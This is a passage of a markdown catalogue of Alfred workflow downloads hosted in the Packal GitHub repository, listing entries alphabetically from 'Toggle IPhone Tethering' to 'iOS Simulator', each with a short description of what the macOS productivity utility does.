* [Toggle IPhone Tethering](https://github.com/packal/repository/raw/master/com.noma4i.iphone.tethering/iphone_tethering.alfredworkflow) - Toggle your Bluetooth PAN connection to your IPhone.
* [Toggle Input Method](https://github.com/packal/repository/raw/master/com.milkticc.ToggleInputMethod/toggle_input_method.alfredworkflow) - This is a simple workflow designed to display all and change between different input methods using Alfred.
* [Toggle Keyboard Viewer](https://github.com/packal/repository/raw/master/us.yearl.togglekv/toggle_keyboard_viewer.alfredworkflow) - Displays/hides the keyboard viewer
* [Toggle Keyboard Viewer](https://github.com/packal/repository/raw/master/com.gingerbeardman.keyboardviewer/toggle_keyboard_viewer.alfredworkflow) - Toggles the macOS Keyboard Viewer applet
* [Toggle Today and Notification Center Views](https://github.com/packal/repository/raw/master/com.itsjustmath.togglenotificationcenter/toggle_notifcation_center_today_views.alfredworkflow) - Keyboard shortcuts for switching between Today and Notifications Views
* [Toggle Wifi](https://github.com/packal/repository/raw/master/ch.milan.togglewifi/toggle_wifi.alfredworkflow) - Does exactly what the title says. No more, no less.
* [Toggle between special Fn keys and standard Fn keys [MAC]](https://github.com/packal/repository/raw/master/me.riyaz.fn.standardkeys/toggle_fn_keys_as_standard_keys.alfredworkflow) - Toggle between special Fn keys and standard Fn keys [MAC]
* [Top](https://github.com/packal/repository/raw/master/jinkunw.top/top.alfredworkflow) - Display tasks sorted by memory usage.
* [Top Google](https://github.com/packal/repository/raw/master/com.ahmad.querygoogle/top_google.alfredworkflow) - Search Google and return top 4 results inside alfred 2 window
* [Top Number Open Files Workflow](https://github.com/packal/repository/raw/master/com.customct.TopOpenFiles/topopenfilesworkflow.alfredworkflow) - Lists the processes with the most files open.
* [Torrent](https://github.com/packal/repository/raw/master/com.bowinther.torrent/torrent.alfredworkflow) - Search for torrents, choose among the results in Alfred and start the download in uTorrent
* [Tower Repositories](https://github.com/packal/repository/raw/master/net.cjlucas.alfred.tower/tower-alfred-workflow.alfredworkflow) - Quickly access your Tower git repositories
* [Tower Repositories](https://github.com/packal/repository/raw/master/net.level3studios.alfredtower/alfred_towerrepo.alfredworkflow) - View/Open Tower Repositories
* [Trakt for Alfred](https://github.com/packal/repository/raw/master/de.timbooo.traktforalfred/trakt_for_alfred.alfredworkflow) - Search trakt.tv, check out trends or manager your watchlists and libraries...
* [Translate](https://github.com/packal/repository/raw/master/com.spr.translate/translate.alfredworkflow) - Utilize any of Google Translate's languages
* [Translate API](https://github.com/packal/repository/raw/master/com.spr.translate.api/translate_api.alfredworkflow) - Use the Official Google Translate API in Alfred
* [Translate Workflow - use Google or Microsoft Translate](https://github.com/packal/repository/raw/master/com.sozora.google-translate/translate-workflow.alfredworkflow) - Translate words or phrases using Google or Microsoft Translate.
* [Transmission](https://github.com/packal/repository/raw/master/florian.transmission/transmission.alfredworkflow) - Control Transmission through alfred
* [Transmit](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-transmit-workflow/alfred-transmit.alfredworkflow) - Workflow for searching and opening Favorites in Transmit 4 App. It's really fast, because it reads the SQLite Database or XML datasource in latests releases of Transmit 4.
* [Trash Screenshots](https://github.com/packal/repository/raw/master/com.semicolons.alfred.trashss/trash_screenshots.alfredworkflow) - A quick shortcut to send screenshots on the Desktop to the Trash.
* [Trash downloads](https://github.com/packal/repository/raw/master/com.trashdownloads.axelpeigne/trash_downloads_1.1.alfredworkflow) - Empty your download folder in the trash
* [Travis CI for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.travisci/travis-ci-for-alfred.alfredworkflow) - Quickly check build statuses on travis-ci.org
* [Trello Card Search](https://github.com/packal/repository/raw/master/com.google.trello-card-search/trello_card_search.alfredworkflow) - Search for Trello cards across all your boards.
* [Trello Next for Alfred](https://github.com/packal/repository/raw/master/com.groenewege.trello-next/trello_next.alfredworkflow) - Retrieve your important Trello cards by list, label or due date
* [Trello for Alfred](https://github.com/packal/repository/raw/master/com.davidberube.trello-alfred/trello.alfredworkflow) - Simple setup and quickly add new cards to Trello right from Alfred
* [Trello search](https://github.com/packal/repository/raw/master/com.janhenckens.alfredtrello/trello_for_alfred.alfredworkflow) - Search for Trello boards and cards from Alfred
* [TripMode](https://github.com/packal/repository/raw/master/house.tofu.tripmode/tripmode.alfredworkflow) - Toggles TripMode on/off
* [Tunnelblick Toggle](https://github.com/packal/repository/raw/master/com.shau-kote.alfred.tunnelblick-toggle/tunnelblick_toggle.alfredworkflow) - Check and toggle status of Tunnelblick connections
* [TurnShoot](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.turnshoot/turnshoot.alfredworkflow) - A two-player game for Alfred
* [TwitchStreamer](https://github.com/packal/repository/raw/master/com.eusi.alfred.twitchstreamer/twitchstreamer.alfredworkflow) - Search Twitch.TV streams and watch in VLC
* [Type Clipboard](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-type-clipboard-workflow/alfred-type-clipboard-workflow.alfredworkflow) - Simple workflow to _write_ the clipboard content in those situations where ```⌘ → V``` doesn't work, typically in non Cocoa application dialogs. You have to go and paste with right clicking the mouse or pad... Atrocious!!
* [UNIX Time](https://github.com/packal/repository/raw/master/com.nirelbaz.unixtime/unix_time.alfredworkflow) - Convert UNIX time to readable date/time
* [UPC to ASIN](https://github.com/packal/repository/raw/master/com.faridoon.upctoasin/upc_to_asin.alfredworkflow) - Converts UPC code to ASIN code right inside Alfred.
* [URL craft](https://github.com/packal/repository/raw/master/DC9DD931-D44F-4F0C-800A-1B3EC3FA50D8/url_craft.alfredworkflow) - A workflow that transforms a url into new one that allows some formats such as "Github Flavored Markdown link" or "shorten url" and so on.
* [UUID Generator](https://github.com/packal/repository/raw/master/me.ghulamabbas.uuidgenerator/uuid_generator.alfredworkflow) - Generates a unique UUID and saves it to clipboard
* [UUID generator](https://github.com/packal/repository/raw/master/com.md.uuid/uuid_generator.alfredworkflow) - Generates random UUID and copy to clipboard or paste to most front app
* [UUIDgen](https://github.com/packal/repository/raw/master/uuidgen.alfred/uuidgen.alfredworkflow) - Create and paste UUIDs
* [Ulysses](https://github.com/packal/repository/raw/master/com.github.robwalton.alfred-ulysses-workflow/ulysses.alfredworkflow) - Open groups or sheets in Ulysses
* [Uni Call](https://github.com/packal/repository/raw/master/net.guiguan.Uni-Call/uni_call.alfredworkflow) - The missing universal audio, video call and text workflow for Alfred
* [Uninstall with CleanMyMac 3](https://github.com/packal/repository/raw/master/com.bclev.uninstallwithcmm3/uninstall_with_cleanmymac_3.alfredworkflow) - Select application to uninstall with CleanMyMac 3 while in Alfred.
* [Uninstall with CleanMyMac X](https://github.com/packal/repository/raw/master/net.level3studios.cleanmymacx/uninstall_with_cleanmymac_x.alfredworkflow) - Uninstall Applications, Widgets or Plugins with CleanMyMac X
* [Unit converter](https://github.com/packal/repository/raw/master/wolph.unit-converter/unit_converter.alfredworkflow) - Simple tool to convert measurements with advanced calculation support
* [Units](https://github.com/packal/repository/raw/master/designandsuch.alfred.units/units_v_0_6.alfredworkflow) - Convert units, currency, length, weight, etc.
* [Unlock your Mac Remote](https://github.com/packal/repository/raw/master/com.gabamnml.unlock.mac/unlock_your_mac.alfredworkflow) - Unlock your Mac with Alfred Remote iOS App
* [Update your ibDNS IP (ibVPN)](https://github.com/packal/repository/raw/master/com.bkrnk.updateibdns/update_ibdns_from_ibvpn.alfredworkflow) - For all of you how use bVPN + ibDNS. Change your ibDNS Server IP with one shortkey
* [UploadFile](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.uploadfile/uploadfile.alfredworkflow) - Upload files and directories for easy sharing
* [Urban Dictionary](https://github.com/packal/repository/raw/master/florian.urban/urban_dictionary.alfredworkflow) - workflow for Alfred App to query urbandictionary's API and return word definitions
* [Urban Dictionary](https://github.com/packal/repository/raw/master/com.xilopaint.alfredapp.urbandictionary/urban_dictionary.alfredworkflow) - Search Urban Dictionary from Alfred 3
* [VEVO.com Quicksearch](https://github.com/packal/repository/raw/master/de.draegerit.alfred.vevo/vevo.alfredworkflow) - Search vevo.com for videos and watch them in your browser
* [VLC Remote Control](https://github.com/packal/repository/raw/master/com.clickysteve.vlcremote/vlc_remote_control.alfredworkflow) - Control VLC using Alfred Remote
* [VM Control](https://github.com/packal/repository/raw/master/com.fniephaus.vmcontrol/vm-control-for-alfred.alfredworkflow) - Control your Parallels and Virtual Box virtual machines
* [VMWare Control](https://github.com/packal/repository/raw/master/com.tedwise.vmwarecontrol/vmware_control.alfredworkflow) - Control VMWare Fusion instances.
* [VPN Connections](https://github.com/packal/repository/raw/master/net.technosorcery.vpn/vpn_connections.alfredworkflow) - Connect & Disconnect VPNs
* [VPN Control](https://github.com/packal/repository/raw/master/com.dgo.alfred.vpn-control/vpn_control.alfredworkflow) - Toggle VPN connection for tunnelblick and build in osx vpn
* [VPN Switch](https://github.com/packal/repository/raw/master/com.flyeek.vpn-switch/vpn_switch.alfredworkflow) - Switch VPN on/off
* [VPN Toggle](https://github.com/packal/repository/raw/master/com.tedwise.vpn/vpn_toggle.alfredworkflow) - Toggle VPN on or off.
* [VSCode-Insiders Open](https://github.com/packal/repository/raw/master/com.idkjs.vscode-insiders/vscode-insiders_open.alfredworkflow) - Open current folder in VSCode-Insiders
* [Vagrant](https://github.com/packal/repository/raw/master/com.bartzy.alfred.vagrant/vagrant.alfredworkflow) - Control a Vagrant instance.
* [VagrantUP](https://github.com/packal/repository/raw/master/com.sverdlik.michael/vagrantup.alfredworkflow) - List and control Vagrant environments with Alfred2/3
* [Version Info](https://github.com/packal/repository/raw/master/com.tildesoft.alfred.workflow.versionInfo/version_info.alfredworkflow) - Copies the version of various things (e.g. OS X, Xcode)
* [Versions](https://github.com/packal/repository/raw/master/tylereich.versions/versions.alfredworkflow) - Copy version information for applications and operating systems
* [Video Downloader](https://github.com/packal/repository/raw/master/com.cutepilot.video-downloader/video-downloader.alfredworkflow) - Easily download videos (and/or extracting audio) from various websites such as YouTube, Vimeo, DailyMotion and more...
* [VideoDuration](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.videoduration/videoduration.alfredworkflow) - Outputs the url of a video on a supported website with its duration in square brackets
* [VideoTime](https://github.com/packal/repository/raw/master/com.cusotmct.VideoTIme/videotime.alfredworkflow) - Get video play time
* [Virtual Number Pad](https://github.com/packal/repository/raw/master/com.wordpress.techTipsWithTheMuss.VirtualNumberPad/virtual_number_pad.alfredworkflow) - Creates a virtual number using the 7, 8, 9, u, i, o, j, k, and l keys.
* [Viscosity VPN Manager](https://github.com/packal/repository/raw/master/net.deanishe.alfred-viscosity/viscosity-2.0.alfredworkflow) - Manage Viscosity VPN connections
* [Visual File Diff / Merge](https://github.com/packal/repository/raw/master/com.bryanherman.vdiff/visual_diff_merge.alfredworkflow) - Visually show the difference between two files and optionally merge the files
* [Visual Studio Code](https://github.com/packal/repository/raw/master/com.alexchantastic.openwithvscode/alfred-open-with-vscode-workflow.alfredworkflow) - An Alfred 3 workflow opening files or folders with Visual Studio Code.
* [Visual Studio Code Open](https://github.com/packal/repository/raw/master/com.dpskvn.vscode/alfred-vscode.alfredworkflow) - Open current Finder folder in Visual Studio Code
* [Volume Control](https://github.com/packal/repository/raw/master/me.hchen.volumecontrol/volume_control.alfredworkflow) - Control the volume of your Mac
* [Vuejs docs search workflow](https://github.com/packal/repository/raw/master/com.xtrasmal.vuejs.docs/vuejsdocs.alfredworkflow) - A Vuejs docs workflow for Alfred
* [Vuejs docs search workflow for Alfred2+](https://github.com/packal/repository/raw/master/com.xtrasmal.vuejs.docs/vuejsdocs.alfredworkflow) - A Vuejs docs workflow for Alfred
* [WP Releases](https://github.com/packal/repository/raw/master/wpreleases/wp_releases.alfredworkflow) - Head to the releases page of WordPress
* [WPash](https://github.com/packal/repository/raw/master/com.tylerkemme.wpash/tkwpash.alfredworkflow) - Generates a hash of the given password for Wordpress databases.
* [Wallpaper](https://github.com/packal/repository/raw/master/com.sayzlim.wallpaper/wallpaper.alfredworkflow) - Change the desktop wallpaper.
* [Wallpapers from Unsplash](https://github.com/packal/repository/raw/master/com.adamdehaven.wallpapersfromunsplash/wallpapers-from-unsplash.alfredworkflow) - Change the wallpaper of your desktop(s) to photos from the popular Unsplash.com. Also allows saving favorite images and command line tools.
* [WatchList](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.watchlist/watchlist.alfredworkflow) - Play and manage local audiovisual content and streams
* [Watermarker 2](https://github.com/packal/repository/raw/master/com.reactivcode.inc.watermarker/watermarker.alfredworkflow) - Watermark images using the new Watermarker 2 app
* [Weather](https://github.com/packal/repository/raw/master/com.jason0x43.alfred-weather/alfred-weather-1.5.0.alfredworkflow) - Display weather forecasts from Weather Underground and Dark Sky
* [Web Server](https://github.com/packal/repository/raw/master/fmanoeli.webserver/web_server.alfredworkflow) - Easily start a web server and add files to it.
* [Web Server Header](https://github.com/packal/repository/raw/master/com.chintanbuch.alfred.debugweb/web_server_header.alfredworkflow) - Check webserver's header of a given website
* [Web to IP Address](https://github.com/packal/repository/raw/master/estiens.alfred.workflow.web-to-ip/web_to_ip_address.alfredworkflow) - Looks up an IP address for a given domain name
* [WebScreenshot](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.webscreenshot/webscreenshot.alfredworkflow) - Take screenshots directly to the web
* [Webs](https://github.com/packal/repository/raw/master/com.aseemtaneja.alfredwebs/webs.alfredworkflow) - A workflow to spin up local front-end web development environments. Ludicrously fast.
* [Wemo](https://github.com/packal/repository/raw/master/be.wains.blog.wemo/wemo_v0.2.alfredworkflow) - Control your Wemo devices
* [What's My IP](https://github.com/packal/repository/raw/master/com.whatsmyip.shawn.patrick.rice/whats_my_ip.alfredworkflow) - Find your IP addresses
* [What’s on 6music](https://github.com/packal/repository/raw/master/com.gingerbeardman.alfred.6music/whats_on_6music.alfredworkflow) - Display the most recently played song on BBC 6music radio station.
* [Who](https://github.com/packal/repository/raw/master/alfredapp.ts.who/who.alfredworkflow) - Find IP and DNS information
* [Whois](https://github.com/packal/repository/raw/master/com.agrill.whois/whois.alfredworkflow) - Lookup domains with Domaintools
* [Wi-Fi](https://github.com/packal/repository/raw/master/com.ravelll.wifi/wi-fi.alfredworkflow) - Set Mac's Wi-Fi function to ON/OFF.
* [Wi-Fi Control](https://github.com/packal/repository/raw/master/com.miromannino.wifi-control/wi-fi_control.alfredworkflow) - Alfred workflow to control Wi-Fi. It can turn on, turn off, toggle or restart the Wi-Fi.
* [Wi-Fi Restart](https://github.com/packal/repository/raw/master/me.smarsh.wifi-restart/wi-fi_restart.alfredworkflow) - Turns it off and on again.
* [WiFi Control](https://github.com/packal/repository/raw/master/cx.dave.alfred.wifi/wifi_control.alfredworkflow) - Alfred workflow to turn WiFi on/off
* [Wikify](https://github.com/packal/repository/raw/master/com.hackademic.wikify/wikify.alfredworkflow) - Your little Evernote Wiki-Helper
* [Windows Switcher](https://github.com/packal/repository/raw/master/com.swin/windows_switcher.alfredworkflow) - A workflow that can be used to switch between many windows in the current desktop.
* [WolframAlpha](https://github.com/packal/repository/raw/master/tylereich.wolframalpha/wolframalpha.alfredworkflow) - Access WolframAlpha results from Alfred
* [Word Counter](https://github.com/packal/repository/raw/master/com.alfredapp.wordcounter/word_counter.alfredworkflow) - Counts and ranks words within a string of text
* [Word Counter App](https://github.com/packal/repository/raw/master/com.markwk.alfred.wordcounter/word_counter.alfredworkflow) - Display Latest Typing Word Counts and Export Stats to CSV
* [Word Search](https://github.com/packal/repository/raw/master/me.isaacpz/word_search.alfredworkflow) - Finds new words to improve your writing
* [Word to PDF Converter](https://github.com/packal/repository/raw/master/com.xilopaint.alfredapp.word-to-pdf-converter/word_to_pdf_converter.alfredworkflow) - Convert Word documents to PDF
* [WordPress Download](https://github.com/packal/repository/raw/master/com.faridoon.wordpressdownload/wordpress_download.alfredworkflow) - Download & unzip latest copy of WordPress in a directory of your choice on your Mac.
* [WordsWith](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.wordwith/wordswith.alfredworkflow) - Find words that contain a particular pattern
* [Workflow Directory - Open in Finder or Terminal](https://github.com/packal/repository/raw/master/org.jeef.workflowdirectory/work_flow_directory.alfredworkflow) - Same behavior as the right click menu on a workflow. Saves you time if you are developing workflows
* [Workflow Help Workflows](https://github.com/packal/repository/raw/master/com.help.shawn.rice/workflow_help_workflows.alfredworkflow) - Reads through your installed workflows to tell you what they do.
* [Workon Virtualenv](https://github.com/packal/repository/raw/master/net.johnnycakes.alfred-workon-virtualenv/workon_virtualenv.alfredworkflow) - Workflow to list and start python virtualenvs (assumes you and have virtualenv and virtualenvwrapper installed).
* [Wowhead](https://github.com/packal/repository/raw/master/zmin.wowhead/wowhead.alfredworkflow) - An Alfred workflow that helps you search World of Warcraft® database provided by wowhead.com.
* [Write into Menubar (BitBar Extension)](https://github.com/packal/repository/raw/master/com.alfredapp.yigitk/write-into-menubar-alfred-workflow.alfredworkflow) - To focus better for what you do - write whatever you want to your menubar.
* [Wunderlist Workflow for Alfred](https://github.com/packal/repository/raw/master/com.ipaterson.alfred.wunderlist/wunderlist.alfredworkflow) - Unbelievably fast entry for tasks with due dates, reminders, and recurrence in Wunderlist
* [Wunderlist3.alfredworkflow](https://github.com/packal/repository/raw/master/net.gnostic.alfred-wunderlist-3/wunderlist3.alfredworkflow) - A Wunderlist 3 API cloud-based alfred workflow
* [XAMPP](https://github.com/packal/repository/raw/master/co.uk.dmnsgn.xampp/xampp.alfredworkflow) - XAMPP commands to start services without the manager
* [Xcode Cache Clean-up](https://github.com/packal/repository/raw/master/com.bojandimovski.xcode-clean/xcode_cache_clean-up.alfredworkflow) - Delete the contents of the infamous DerivedData, Xcode and module cache folders.
* [YeelightBulb](https://github.com/packal/repository/raw/master/com.yangziy.yeelightbulb/yeelightbulb.alfredworkflow) - Turn on/off a preset yeelight bulb
* [Yelp Search](https://github.com/packal/repository/raw/master/com.chrislau.yelpsearch/yelp_search.alfredworkflow) - Yelp Search
* [Yosemite Dark Mode Toggle](https://github.com/packal/repository/raw/master/com.smpanaro.darkmode/darkmode.alfredworkflow) - Quickly toggle between Yosemite's Dark and Light modes from Alfred.
* [YouVersion Suggest](https://github.com/packal/repository/raw/master/com.calebevans.youversionsuggest/youversion_suggest_alfred_3.alfredworkflow) - Search for Bible references on YouVersion
* [Youdao Dict](https://github.com/packal/repository/raw/master/whyliam.workflows.youdao/whyliam.workflows.youdao.alfredworkflow) - 使用有道翻译你想知道的单词和语句
* [Youdao for Alfred](https://github.com/packal/repository/raw/master/me.yuez.alfredworkflow.youdaodict/youdaodict-v1.5.1.alfredworkflow) - 非常快的有道词典
* [YoudaoTranslate](https://github.com/packal/repository/raw/master/Rouwanzi.workflow.YoudaoDict/youdaodict.alfredworkflow) - 有道翻译单词
* [Youtrack - create issues](https://github.com/packal/repository/raw/master/me.alexw.youtrack/open_youtrack_ticket.alfredworkflow) - Creates issues in Your Youtrack installation
* [Youtube Control](https://github.com/packal/repository/raw/master/com.dangerphil.ytc/youtube_control_google_chrome.alfredworkflow) - Controls Youtube Videos loaded in Google Chrome
* [Youtube Safari MP3](https://github.com/packal/repository/raw/master/com.bhishanpdl.youtube_safari_mp3/youtube_safari_mp3.alfredworkflow) - Download the music video playing in any tab of Safari as the MP3 in your Downloads folder.
* [Youtube-Bookmarks](https://github.com/packal/repository/raw/master/org.bikenik.youtube/youtube-bookmarks.alfredworkflow) - quick search youtube playlist, creating video-bookmarks with tags
* [Zapier for Alfred](https://github.com/packal/repository/raw/master/com.zapier.alfredbasic/zapier_for_alfred.alfredworkflow) - Run Zapier workflows with 700+ apps from Alfred
* [Zebra](https://github.com/packal/repository/raw/master/io.snts.alfredzebra/zebra-for-alfred.alfredworkflow) - Alfred worflow for Zebra interaction
* [Zendesk](https://github.com/packal/repository/raw/master/com.jdfwarrior.zendeskv2/zendeskv2.alfredworkflow) - Interact with Zendesk and Support Tickets via Alfred
* [Zip Files](https://github.com/packal/repository/raw/master/com.zip.files.rdm/archive_files_and_folder.alfredworkflow) - One of the features missing from OS X is a keyboard trigger for creating zip archive files.
* [Zip Info](https://github.com/packal/repository/raw/master/com.customct.ZipInfo/zipinfo.alfredworkflow) - Displays what is inside a zip file without uncompressing it.
* [ZotQuery](https://github.com/packal/repository/raw/master/com.hackademic.zotquery/zotquery.alfredworkflow) - Search Zotero. From the Comfort of Your Keyboard.
* [Zsh Calculator](https://github.com/packal/repository/raw/master/tech.peculiar.alfred.zsh-calculator/zsh-calculator.alfredworkflow) - Evaluates Zsh arithmetic expressions.
* [^tty](https://github.com/packal/repository/raw/master/net.isometry.alfred.tty/tty.alfredworkflow) - Switch between or close iTerm windows, tabs and panes based on title and tty
* [academic search](https://github.com/packal/repository/raw/master/none/search_google_scholar_and_jstor.alfredworkflow) - need some help figure out how to have alfred search highlighted text in an academic website
* [adb](https://github.com/packal/repository/raw/master/xyz.jienan.adb/adb-v1.6.0.alfredworkflow) - Android ADB
* [adsinspire](https://github.com/packal/repository/raw/master/adsinspire.TuahZh/adsinspire.alfredworkflow) - Search papers on INSPIRE or ADS
* [alForge](https://github.com/packal/repository/raw/master/com.vmitchell85.alforge/alforge.alfredworkflow) - Laravel Forge Commands
* [alfred-adapters](https://github.com/packal/repository/raw/master/cz.vookimedlo.alfred.adapters/adapters.alfredworkflow) - Alfred 3 workflow for controlling various adapters.
* [alfred-bluetooth-control](https://github.com/packal/repository/raw/master/com.vidavidorra.bluetooth-control/bluetooth_control.alfredworkflow) - Alfred workflow to control Bluetooth
* [alfred-can-i-use-search](https://github.com/packal/repository/raw/master/can-i-use-search/can-i-use-search.alfredworkflow) - Browser support tables for modern web technologies
* [alfred-change-sound-output](https://github.com/packal/repository/raw/master/com.cakmet14.change_sound/change_sound_output.alfredworkflow) - change sound output using aalfred
* [alfred-city](https://github.com/packal/repository/raw/master/com.github.sakebook.alfred-city/area.alfredworkflow) - Search Area from 市区町村名 or 市区町村コード
* [alfred-cloudfoundry](https://github.com/packal/repository/raw/master/com.fouadhamdi.alfred.cloudfoundry/cloud-foundry-0.1.0.alfredworkflow) - An Alfred 3 Cloud Foundry workflow
* [alfred-cron](https://github.com/packal/repository/raw/master/com.crispgm.alfred_cron/alfred-cron.alfredworkflow) - Convert Cron expression to human readable text.
* [alfred-fanfou](https://github.com/packal/repository/raw/master/me.litomore.fanfou/alfred-fanfou.alfredworkflow) - Alfred 3 workflow for Fanfou
* [alfred-file-checksums](https://github.com/packal/repository/raw/master/cz.vookimedlo.alfred.checksums/filechecksums.alfredworkflow) - Alfred 3 workflow for computing file checksums.
* [alfred-keycode](https://github.com/packal/repository/raw/master/com.radibit.alfredkeycode/keycode.alfredworkflow) - Workflow to get JavaScript keycodes.
* [alfred-pinboard](https://github.com/packal/repository/raw/master/com.jmjeong.alfredv2.pinboard/pinboard.alfredworkflow) - Yet another alfred-pinboard workflow. It provides INSTANT pinboard search and various function
* [alfred-pokedex](https://github.com/packal/repository/raw/master/com.vutran.pokedex/pokedex.alfredworkflow) - Lookup Pokemon Information
* [alfred-pycharm](https://github.com/packal/repository/raw/master/com.orf.dash-intellij/alfred-pycharm.alfredworkflow) - Quickly open a Pycharm project through Alfred
* [alfred-workflow-todoist](https://github.com/packal/repository/raw/master/com.alfred-workflow-todoist/alfred_workflow_todoist.alfredworkflow) - Add tasks to your Todoist inbox or list upcoming tasks straight from Alfred.
* [alfred-youtube-vlc-workflow](https://github.com/packal/repository/raw/master/com.tushar.youtube/youtube.alfredworkflow) - Place youtube music in vlc
* [alfred2-layout](https://github.com/packal/repository/raw/master/de.leanovate.alfred.layout/layout.alfredworkflow) - Control size and position of current window via alfred
* [alfred3-songwhip](https://github.com/packal/repository/raw/master/com.invious.alfred3.songkick/songwhip.alfredworkflow) - Cross convert URLs to and from different music services via Songkick
* [alfred3-terminal-here](https://github.com/packal/repository/raw/master/com.invious.alfred3.terminal-here/alfred3-terminal-here.alfredworkflow) - open a iTerm2 tab into the folder of the topmost Finder window (also supports Terminal)
* [alfredPG](https://github.com/packal/repository/raw/master/uk.co.militia-software.alfredPG/pgemulate.alfredworkflow) - Quickly start a "phonegap emulate" session from Alfred
* [alfredwl](https://github.com/packal/repository/raw/master/com.nicke5012.alfredwl/alfredwl.alfredworkflow) - Wunderlist integration for Alfred2. Allows you to add tasks, show your lists, and show incomplete tasks through Alfred.
* [aria2c](https://github.com/packal/repository/raw/master/cnsworder/aria2c.alfredworkflow) - start aria2c daemon
* [awe](https://github.com/packal/repository/raw/master/com.importre.alfred.awe/awe.alfredworkflow) - Search awesome projects!
* [aws-alfred-workflow](https://github.com/packal/repository/raw/master/net.august8.alfred.aws/aws.alfredworkflow) - Workflow for searching AWS
* [awscli EC2 Help](https://github.com/packal/repository/raw/master/com.joeymink.ec2help/ec2_help.alfredworkflow) - Easy access to documentation for the EC2 commands in awscli
* [awscli S3 Help](https://github.com/packal/repository/raw/master/com.joeymink.s3help/s3_help.alfredworkflow) - Easy access to documentation for the S3 commands in awscli
* [b5](https://github.com/packal/repository/raw/master/de.team23.b5-alfred/b5-0.1.alfredworkflow) - Alfred integration for your favorite development tool
* [cargo](https://github.com/packal/repository/raw/master/com.github.mkamakura.cargo/cargo.alfredworkflow) - Search for cargo packages
* [cd to Current Path](https://github.com/packal/repository/raw/master/com.bhishanpdl.cd_to_current_path/cd_to_current_path.alfredworkflow) - Open a new terminal and cd to current path of Finder
* [clc](https://github.com/packal/repository/raw/master/in.aviaryan.clc/clc.alfredworkflow) - Powerful Calculator for Alfred
* [clipbox](https://github.com/packal/repository/raw/master/com.brianschiller.clipbox/clipbox.alfredworkflow) - Copy screenshots (and video and text) to trello and puts the link on your clipboard.
* [cocosdoc](https://github.com/packal/repository/raw/master/com.khanzhang.cocosdoc/cocosdoc.alfredworkflow) - 搜索cocos-js文档
* [cocosmanual](https://github.com/packal/repository/raw/master/com.khanzhang.cocosmanual/cocosmanual.alfredworkflow) - 搜索cocos-js教程
* [current git branch](https://github.com/packal/repository/raw/master/com.harrisgeo88.current-git-branch/show_active_branch.alfredworkflow) - Quickly view the active git branch name
* [currentURL](https://github.com/packal/repository/raw/master/luiyezheng.currentURL/currenturl.alfredworkflow) - copy the URL of current tab to clipboard
* [datetime time format](https://github.com/packal/repository/raw/master/com.zhipeng.timeformat/timestamp.alfredworkflow) - time or datetime format tool.
* [define new screenshot location](https://github.com/packal/repository/raw/master/com.alfredapp.rishabh.screenshot_location/screenshot_location.alfredworkflow) - change the place where your screenshot is stored instantly
* [dict.cc - Translate English to German](https://github.com/packal/repository/raw/master/dict.cc/alfred-dict.cc-workflow.alfredworkflow) - Translate English to German using the dict.cc website.
* [dpkg](https://github.com/packal/repository/raw/master/com.dominyk.dpkg/dpkg.alfredworkflow) - Semi-automates the debian package creation process using dpkg.
* [dropbox paper finder](https://github.com/packal/repository/raw/master/me.tomoyukikashiro.dropbox-paper-finder/dropbox_paper_finder.alfredworkflow) - search dropbox paper document in alfred workflow
* [ejectall](https://github.com/packal/repository/raw/master/com.wingsuitist.ejectall/eject.alfredworkflow) - Looks for mounted external drives like usb sticks, thumb drives or backup disks and ejects them.
* [famous](https://github.com/packal/repository/raw/master/com.berzerk.famous/famous.alfredworkflow) - Workflows for famous mixed mode
* [gauth (Google Authenticator)](https://github.com/packal/repository/raw/master/com.alfredapp.moul.gauth/google_authenticator.alfredworkflow) - Returns temporary token for two-factor authentication mechanisms
* [gauth (Google Authenticator)](https://github.com/packal/repository/raw/master/com.alfredapp.moul.gauth/google_authenticator.alfredworkflow) - Returns temporary token for two-factor authentication mechanisms
* [gi](https://github.com/packal/repository/raw/master/com.importre.alfred.gi/gi.alfredworkflow) - Search *.gitignore
* [gitignore](https://github.com/packal/repository/raw/master/im.cccc.gitignorer/gitignorer.alfredworkflow) - Alfred's gitignore workflow, automatically generate gitignore content through template, productivity tools to speed up your project. — Edit
* [gitignore](https://github.com/packal/repository/raw/master/de.jandavid.alfred.gitignore/gitignore.alfredworkflow) - Create .gitignore files using Alfred
* [gitmoji](https://github.com/packal/repository/raw/master/su.jing.gitmoji/gitmoji-v1.0.alfredworkflow) - This simple Alfred workflow lets you quick search and input gitmoji.
* [go code](https://github.com/packal/repository/raw/master/geta_coding_fasta/go_code.alfredworkflow) - Initialize Python coding environment (virtualenv) open toolset (IDE / SASS Compiler / SourceRepo)
* [hex](https://github.com/packal/repository/raw/master/com.pawelgrzybek.hex/hex.alfredworkflow) - Convert decimal to hexadecimal number
* [hl](https://github.com/packal/repository/raw/master/com.importre.alfred.hl/hl.alfredworkflow) - Highlight your code stored in clipboard
* [html entity](https://github.com/packal/repository/raw/master/com.egoistian.alfred.htmlentity/html_entity.alfredworkflow) - Decode and Encode HTML entity
* [iBooks Search](https://github.com/packal/repository/raw/master/com.targumanu.ibookssearch/ibooks_store_search.alfredworkflow) - Search the iBooks store
* [iCloud Drive Explorer](https://github.com/packal/repository/raw/master/com.fpira.alfred.wf.iclouddriveexplorer/icloud_drive_explorer.alfredworkflow) - Open Finder windows in iCloud Drive
* [iCloud Tabs](https://github.com/packal/repository/raw/master/com.targumanu.icloudtabs/icloud_tabs.alfredworkflow) - View and open iCloud tabs from all your devices
* [iCloudTabs](https://github.com/packal/repository/raw/master/com.icloudtabs/icloudtabs.alfredworkflow) - Retrieves iCloud tabs for all connected devices.
* [iDevice Sync](https://github.com/packal/repository/raw/master/com.dotson.iDeviceSync/idevice_sync.alfredworkflow) - An Alfred 3 workflow for syncing your iDevices.
* [iMessage Workflow](https://github.com/packal/repository/raw/master/nc.workflow.imessage/imessage.alfredworkflow) - A workflow that allows Alfred to interact with all parts of iMessage
* [iOS Simulator](https://github.com/packal/repository/raw/master/com.buttered-cat.alfred-workflow.iOSSimulator/ios_simulator_v1.3.1.alfredworkflow) - Workflow for finding simulator app data folders, erasing apps and more
